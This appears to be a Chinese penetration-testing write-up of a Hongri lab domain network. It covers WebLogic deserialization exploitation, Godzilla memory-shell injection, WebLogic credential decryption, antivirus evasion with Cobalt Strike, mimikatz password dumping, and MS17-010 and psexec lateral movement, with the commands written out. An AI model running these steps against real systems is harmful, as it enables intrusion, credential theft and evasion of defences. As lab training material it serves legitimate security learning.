在渗透测试训练中,内网靶场环境模拟了真实企业网络中的多层防御体系。本文记录了针对一个包含 Windows 域环境的红日靶场的一次完整渗透过程,重点涉及 Web 资产信息搜集、WebLogic 反序列化漏洞利用、域内信息收集,以及在 360 安全软件防护下的权限维持与横向移动策略。
环境与目标
本次测试环境基于红日靶场搭建,主要包含以下资产:
- Web服务器:
192.168.172.134
- 攻击机 (Kali Linux):
192.168.172.130
- 本机:Windows 11
初始信息搜集仅发现一个 Web 资产 192.168.172.134,没有其他明显突破口,因此决定从此 Web 服务入手。
初步信息搜集与突破
直接访问目标 IP 192.168.172.134,浏览器显示为一片空白页面。检查网页接口,未发现有效内容。
随后进行目录扫描,大部分返回状态码 200 的路径响应长度均为 0。其中一个路径 /Trace.axd 返回了非零长度内容(403状态,长度1997)。访问该路径后,服务器返回了一个典型的 ASP.NET 应用程序错误页面,提示“追踪错误”,并说明由于安全原因禁止远程查看,但给出了本地查看所需的配置代码片段:
<configuration>
<system.web>
<trace localOnly="false"/>
</system.web>
</configuration>
这个错误页面暗示了后端服务器可能是 Windows 系统。于是对目标 192.168.172.134 进行全端口扫描,以发现更多服务。
端口扫描结果显示目标开放了多个端口,关键信息如下:
3389: RDP (Microsoft Terminal Service)
1433: MSSQL (Microsoft SQL Server 2008 R2)
80: HTTP (ASP, Microsoft IIS/7.5)
135: RPC
139: NETBIOS
7001: HTTP (Oracle WebLogic Server)
其中,7001 端口运行着 Oracle WebLogic 中间件,访问 http://192.168.172.134:7001 返回了 404 页面,但页面特征确认了 WebLogic 的存在。这个中间件历史上存在大量反序列化漏洞 (nday)。
WebLogic 漏洞利用与权限获取
使用自动化工具 WebLogicTool 对 http://192.168.172.134:7001 进行漏洞检测。工具成功识别出 CVE-2016-0638 回显漏洞,并利用 CommonsCollections3_678 载荷完成验证,返回了当前用户信息:de1ay\administrator。
随即在工具中尝试执行系统命令 whoami,成功返回了相同结果 de1ay\administrator,确认存在命令执行漏洞。
为了获得一个持久的后门,通过工具向目标注入哥斯拉(Godzilla)内存马。Payload 配置如下:
- 类型:
Godzilla4_Servlet
- 路径:
/bea_wls_internal/applicationSingletonProvider
- 密码:
hackfun1024
- 密钥:
key
注入成功后,使用哥斯拉客户端进行连接测试。连接配置为:
- URL:
http://192.168.172.134:7001/bea_wls_internal/applicationSingletonProvider
- 密码:
hackfun1024
- 密钥:
key
- 编码:
UTF-8
- 有效载荷:
JavaDynamicPayload
- 加密器:
JAVA_AES_BASE64
连接成功后,在哥斯拉的虚拟终端中执行 whoami,确认当前权限为 de1ay\administrator,即管理员权限。当前工作目录为 C:\Oracle\Middleware\user_projects\domains\base_domain\。
权限维持与杀软对抗
获取 shell 后,首先尝试关闭系统防火墙以确保后续流量畅通。执行命令:
netsh advfirewall set allprofiles state off
系统返回“确定。”,表明防火墙已关闭。
接着进行基础信息收集,查看系统进程 (tasklist /svc) 并使用杀软查询工具进行识别。发现系统中运行着多个 360 安全组件的进程:
360Tray.exe: 360安全卫士-实时保护
ZhuDongFangYu.exe: 360安全卫士-主动防御
wdsfw safe.exe: 360杀毒 网盾
这表明目标存在主动防御。尝试直接终止进程 taskkill /f /im 360Tray.exe 失败,提示“拒绝访问”。
最初的思路是创建新用户并加入管理员组,然后通过 RDP 登录进行卸载。执行以下命令时遇到问题:
net user test test@123 /add
net localgroup Administrators test /add
命令执行失败,疑似被安全软件拦截。怀疑是 webshell 工具或内存马被识别,于是换用蚁剑(AntSword)的 Filter 内存马重新注入,但创建用户操作同样失败,判断是 360 的主动防御机制在起作用。
域内信息收集
在无法直接关闭杀软的情况下,继续收集内网信息。
- 执行
ipconfig /all,发现主机配置了两个 IP 地址:
192.168.172.134 (当前网段)
- 还有一个内网 DNS 服务器地址
10.10.10.10
- 执行
net config workstation 确认主机处于域环境中:
- 计算机名:
WEB
- 工作站域:
DE1AY
- 登录域:
DE1AY
- 工作站域 DNS 名称:
de1ay.com
- 尝试
net view /domain 列出域失败,但通过已获信息可知域名为 de1ay.com。
- 通过
ping de1ay.com 解析出域控制器 IP 为 10.10.10.10。
至此,确认当前主机 WEB 是域 DE1AY (de1ay.com) 的成员,域控制器 IP 为 10.10.10.10,存在另一个内网网段 10.10.10.0/24。
获取 WebLogic 凭证与登录
在获取了 Weblogic 的 shell 后,尝试收集该中间件的管理凭证。Weblogic 的加密凭证通常存放在特定文件中:
- Windows 路径:
C:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
- Linux 路径:
Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
读取 boot.properties 文件,内容如下:
# Generated by Configuration Wizard on Tue Oct 08 11:07:14 CST 2019
username={AES}JIgqyBqptsAg80HGw71Rnl0Yzg5Hl1SUQ/GQUoCgrAg=
password={AES}/cSLE9OXJ2VhSEmm6GgYOeikaFypsHP4C8V9MSzSTdI=
这是经过 AES 加密的凭证。解密需要对应的密钥文件 SerializedSystemIni.dat,其默认位置在 C:/Oracle/Middleware/user_projects/domains/base_domain/security/。
下载该密钥文件后,使用工具对其进行 Base64 编码,得到密钥字符串:
BPo8tgUCIM3L4uOrd1pdp/e6f/sCrWTsjppL5bTTWDYkFqvYWuZWGDmQ3W7YNgq7Ai8riU2/7NFIBQFTfA3LYg==
结合加密的用户名、密码密文和此密钥,利用 WebLogicTool 自带的解密功能成功解密出明文凭证:
使用该凭证成功登录 WebLogic 控制台 (http://192.168.172.134:7001/console)。
绕过杀软上线 Cobalt Strike
由于 360 主动防御的存在,直接上传提权工具(如“烂土豆”)或执行敏感命令会被拦截。因此,考虑通过 Cobalt Strike (CS) 生成有效载荷进行免杀上线。
- 启动 CS 服务端与客户端:
# Kali 上启动服务端
./teamserver 192.168.172.130 test123456
客户端连接至 192.168.172.130,创建 HTTP 监听器。
- 生成并测试初始载荷:首先生成一个未做免杀的 exe 文件,通过哥斯拉上传并执行。该 exe 成功上线 CS,但连接很快中断,内存马也失联,表明载荷被 360 检测并清除。
- 制作免杀载荷:使用免杀技术重新生成一个 bin 文件 (
ca.bin) 和相应的加载器。重新打回内存马,上传免杀组件并执行。经过加载器测试和更换,最终成功上线 CS 并获得一个相对稳定的 beacon。
- 抓取明文密码:在 CS beacon 中,利用
mimikatz 或相关命令抓取当前用户的明文密码。成功获取到域管理员凭证:
* Username : Administrator
* Domain : DE1AY
* Password : 1qaz@WSX#EDC
- 远程桌面登录卸载杀软:使用获取到的域管凭证
DE1AY\Administrator 和密码 1qaz@WSX#EDC,通过 RDP 直接登录到 192.168.172.134。登录后,在图形界面中成功找到并卸载了 360 安全卫士与 360 杀毒软件。卸载完成后,系统防御能力大大降低。
内网横向移动
在清理掉主要杀软威胁后,开始对内网 10.10.10.0/24 网段进行横向渗透。
- 信息搜集:在已控的 WEB 服务器上,使用
fscan 对内网进行扫描。
fscan.exe -np -h 10.10.10.1/24
扫描结果显示多个存活主机,其中重点关注:
10.10.10.10 (域控):存在 MS17-010 (永恒之蓝) 漏洞。
10.10.10.201 (域内 PC):同样存在 MS17-010 漏洞。
- 搭建代理通道:由于 WEB 服务器能出网,使用
ew (EarthWorm) 在其上搭建一个 socks5 正向代理,以便攻击机访问内网。
# 在 WEB 服务器执行
ew_for_Win.exe -s ssocksd -l 1080
在 Kali 上配置 proxychains,通过代理 192.168.172.134:1080 访问内网。
- 攻击域控:使用
metasploit 框架,通过代理配置,利用 ms17_010_command 模块对域控 10.10.10.10 进行攻击。
proxychains msfconsole
use exploit/windows/smb/ms17_010_command
set RHOSTS 10.10.10.10
set COMMAND whoami
run
攻击成功,在域控上执行了命令,证明漏洞可利用。后续可通过此漏洞创建用户、开启 RDP 等。
- 攻击域内 PC:尝试用同样方法攻击
10.10.10.201 失败,后发现该主机防火墙开启,无法 ping 通,导致漏洞利用模块找不到目标。
- 凭证传递攻击:鉴于已获得域管密码,尝试对 PC (
10.10.10.201) 进行密码喷射验证和哈希传递。
- 验证密码有效性:
proxychains crackmapexec smb 10.10.10.201 -u administrator -p ‘1qaz@WSX#EDC‘
返回结果表示登录成功。
- 使用 CS 的
psexec 或 lateral movement 功能进行横向移动,指定 SMB 监听器,但尝试失败,可能是因为行为被 PC 上残余的防御机制拦截。
- 换用
impacket 工具包的 psexec.py 脚本通过代理执行:
proxychains python psexec.py DE1AY.com/Administrator:"1qaz@WSX#EDC"@10.10.10.201
此方法成功在目标 PC 上获得了一个 cmd shell,实现了横向移动。后续可在此 shell 中添加用户、关闭防御软件并最终上线 CS。
总结
本次内网靶场渗透过程涵盖了从外网 Web 资产发现到内网域控拿下的完整链路,关键点包括:
- 信息搜集的深度:从空白页面到端口扫描,发现非标端口的 WebLogic 服务是突破口。
- 漏洞利用的准确性:针对 WebLogic 的已知反序列化漏洞,使用成熟工具快速实现 RCE。
- 权限维持的挑战:在 360 杀软环境下,直接进行系统操作受阻,凸显了免杀技术和多工具切换(哥斯拉、蚁剑、Cobalt Strike)的重要性。
- 凭证获取的价值:通过读取 WebLogic 配置文件并解密,获取了管理密码;后期通过内存抓取获得了域管明文密码,为横向移动提供了关键凭据。
- 内网横向的多样化:结合漏洞利用(MS17-010)和凭证传递(Psexec)两种方式,根据目标主机不同状态(防火墙、杀软)灵活选择攻击路径。
整个过程中,对抗安全软件的检测与查杀是贯穿始终的难点,也体现了在实际攻防中,免杀技术和隐蔽通道构建的必要性。这是一次综合性的 内网渗透 实战演练,涉及 Web漏洞利用、权限提升、横向移动 和 域渗透 等多个核心环节。
参考资料
[1] 记一次坎坷的内网靶场渗透, 微信公众号:mp.weixin.qq.com/s/G44GoxaCeAu0l-Amdxxghg
版权声明:本文由 云栈社区 整理发布,版权归原作者所有。